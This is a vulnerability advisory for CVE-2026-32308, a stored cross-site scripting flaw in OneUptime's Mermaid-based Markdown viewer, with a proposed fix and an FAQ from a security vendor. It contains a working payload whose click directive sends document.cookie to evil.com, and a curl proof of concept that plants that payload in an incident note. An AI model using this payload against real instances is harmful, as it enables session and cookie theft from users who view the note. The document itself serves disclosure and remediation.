CVE-2026-32308

The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.

Details

Mermaid configuration, Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:

// MarkdownViewer.tsx:76
mermaid.initialize({
    securityLevel: "loose",  // Allows interactive event bindings
    // ...
});

The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.

SVG injection via innerHTML, MarkdownViewer.tsx:106:

// MarkdownViewer.tsx:106
if (containerRef.current) {
    containerRef.current.innerHTML = svg;  // Raw SVG injection
}

After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.

Mermaid XSS payload:

```mermaid
graph TD
    A["Click me"]
    click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```​

With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.

PoC

# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"password123"}' \
  | jq -r '.token')

# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenantid: PROJECT_ID' \
  -d '{
    "data": {
      "incidentId": "INCIDENT_ID",
      "note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n    A[\"Load Balancer\"] --> B[\"App Server\"]\n    click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
      "noteType": "RootCause"
    }
  }'

# Any user viewing this incident note will have their cookies exfiltrated

# Verify the vulnerability in source code:

# 1. securityLevel: "loose":
grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 76: securityLevel: "loose"

# 2. innerHTML injection:
grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 106: containerRef.current.innerHTML = svg

Proposed Fix

// 1. Change securityLevel to "strict" (default safe mode):
mermaid.initialize({
    securityLevel: "strict",  // Strips all interactive bindings
    // ...
});

// 2. Use DOMPurify on the SVG output before innerHTML injection:
import DOMPurify from "dompurify";

if (containerRef.current) {
    containerRef.current.innerHTML = DOMPurify.sanitize(svg, {
        USE_PROFILES: { svg: true, svgFilters: true },
        ADD_TAGS: ['foreignObject'],
    });
}

Stored XSS in any markdown-rendered field. Affects:

1. Incident notes/descriptions, viewed by on-call engineers during incidents
2. Status page announcements, viewed by public visitors
3. Monitor descriptions, viewed by team members
4. Any markdown field, the MarkdownViewer component is shared across the UI

The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-32308 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.0.23); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32308? CVE-2026-32308 is a high-severity cross-site scripting (XSS) vulnerability in oneuptime (npm), affecting versions < 10.0.23. It is fixed in 10.0.23. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-32308? CVE-2026-32308 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of oneuptime are affected by CVE-2026-32308? oneuptime (npm) versions < 10.0.23 is affected.
4. Is there a fix for CVE-2026-32308? Yes. CVE-2026-32308 is fixed in 10.0.23. Upgrade to this version or later.
5. Is CVE-2026-32308 exploitable, and should I be worried? Whether CVE-2026-32308 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32308 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32308? Upgrade oneuptime to 10.0.23 or later.